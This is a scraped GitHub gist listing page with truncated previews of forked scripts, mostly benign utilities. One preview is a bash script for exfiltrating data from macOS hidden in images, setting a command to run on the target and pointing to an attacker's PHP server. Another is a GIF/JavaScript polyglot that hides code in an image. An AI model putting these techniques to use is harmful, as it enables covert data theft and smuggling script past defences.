Skip to content

Instantly share code, notes, and snippets.

View LeetCodes's full-sized avatar
🎱
Choppin' caine rain, hail, sleet, or snow

LeetCodes

🎱
Choppin' caine rain, hail, sleet, or snow
View GitHub Profile
@LeetCodes
LeetCodes / data exfil
Created August 15, 2020 11:32 — forked from tokyoneon/data exfil
Hacking macOS: Use Images to Smuggle Data Through Firewalls
#!/bin/bash
# Script for https://null-byte.com/smuggle-data-through-firewalls-0197128/
# `if` statement to detemine if the message is a 'response' one
# This is the command being executed and embedded in the photo.
# Single-quotes are used here to help with escaping special
# characters within the desired command(s).
exfilData='ls -lah "/Users/$USER/"'
# Where the attackers PHP server is located. This needs to be
@LeetCodes
LeetCodes / client.sh
Created May 13, 2020 15:14 — forked from rriemann/client.sh
rsync mirror opensuse repo
#!/bin/sh
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-update nfs://fritz.box:/var/media/ftp/uStor02/opensuse/update/12.1?mountoptions=vers=3 fritzbox-12.1-update
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-kde48 nfs://fritz.box:/var/media/ftp/uStor02/opensuse/repositories/KDE:/Release:/48/openSUSE_12.1?mountoptions=vers=3 fritzbox-12.1-kde48
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-packman nfs://fritz.box:/var/media/ftp/uStor02/opensuse/repositories/packman/12.1/Essentials?mountoptions=vers=3 fritzbox-12.1-packman
zypper mr -p 90 fritzbox-12.1-update
zypper mr -p 90 fritzbox-12.1-kde48
zypper mr -p 90 fritzbox-12.1-packman
if (typeof uneval != "function") {
uneval = function (o) {
switch (typeof o) {
case "undefined" : return "(void 0)";
case "boolean" : return String(o);
case "number" : return String(o);
case "string" : return '"' + o.replace(/[^a-z]/gi, function (_) { return '\\u' + (0x10000 + _.charCodeAt(0)).toString(16).slice(1) }) + '"';
case "function" : return "(" + o.toString() + ")";
case "object" :
if (o == null) return "null";
@LeetCodes
LeetCodes / macos-private.md
Created March 31, 2020 11:53 — forked from ruario/macos-private.md
A small App that starts Vivaldi for macOS as a Private Window

Vivaldi Private Window Launcher for macOS

The following commands will produce a small application that allows you to launch Vivaldi in Private mode on a Mac.

Start Terminal paste in the the following code (pressing Enter when done):

mkdir -p Vivaldi\ Private.app/Contents/MacOS
printf '#!/bin/sh\nopen -a Vivaldi.app --args --incognito' > Vivaldi\ Private.app/Contents/MacOS/Vivaldi\ Private
chmod +x Vivaldi\ Private.app/Contents/MacOS/Vivaldi\ Private
@LeetCodes
LeetCodes / enableDiscordExperiments.js
Created March 13, 2020 03:15 — forked from MPThLee/enableDiscordExperiments.js
Enable Discord Developer Menus in any environment except mobile app without BetterDiscord using Console.
(() => {
// Extracted from Samogot's LibDiscordInternals for BetterDiscord.
const req = typeof(webpackJsonp) === "function" ? webpackJsonp([], {
'__extra_id__': (module, exports, req) => exports.default = req
}, ['__extra_id__']).default : webpackJsonp.push([[], {
'__extra_id__': (module, exports, req) => module.exports = req
}, [['__extra_id__']]]);
delete req.m['__extra_id__'];
delete req.c['__extra_id__'];
const find = (filter, options = {}) => {
@LeetCodes
LeetCodes / zalgo.js
Last active January 31, 2020 02:45 — forked from flanger001/zalgo.js
I stole a Zalgo text generator
/* <![CDATA[ */
//============================================================
// ZALGO text script by tchouky
//============================================================
// data set of leet unicode chars
//---------------------------------------------------
//those go UP
var zalgo_up = [
@LeetCodes
LeetCodes / NodeListUtils.js
Created January 30, 2020 12:17 — forked from TexRx/NodeListUtils.js
Extend NodeList object with some useful iteration utility functions
[].forEach.call( document.querySelectorAll(sel), function(el) {
});
NodeList.prototype.forEach = Array.prototype.forEach;
NodeList.prototype.forEach = HTMLCollection.prototype.forEach = Array.prototype.forEach;
NodeList.prototype.forEach = HTMLCollection.prototype.forEach = Array.prototype.forEach;
NodeList.prototype.map = HTMLCollection.prototype.map = Array.prototype.map;
NodeList.prototype.filter = HTMLCollection.prototype.filter = Array.prototype.filter;
@LeetCodes
LeetCodes / gifjs.asm
Created January 30, 2020 11:28 — forked from fdaciuk/gifjs.asm
; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment
; inspired by Saumil Shah's Deadly Pixels presentation
; Ange Albertini, BSD Licence 2013
; yamal gifjs.asm -o img.gif
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
@LeetCodes
LeetCodes / bash-cheatsheet.sh
Created December 19, 2019 12:16 — forked from LeCoupa/bash-cheatsheet.sh
Bash CheatSheet for UNIX Systems --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
#!/bin/bash
#####################################################
# Name: Bash CheatSheet for Mac OSX
#
# A little overlook of the Bash basics
#
# Usage:
#
# Author: J. Le Coupanec
# Date: 2014/11/04
@LeetCodes
LeetCodes / Substitute-Underscores-for-Spaces.bat
Created November 10, 2019 12:30 — forked from KenDB3/Substitute-Underscores-for-Spaces.bat
Windows Batch File that takes a quoted text command line argument, removes the quotes, and replaces spaces with underscores
@ECHO OFF
REM Windows Batch File that takes a quoted text command line argument,
REM removes the quotes, and replaces spaces with underscores.
REM This is useful for passing an argument to another program.
REM Change Directory to where the Batch file is saved
CD /d "%~dp0"
set originalquotedtextwithspaces=%1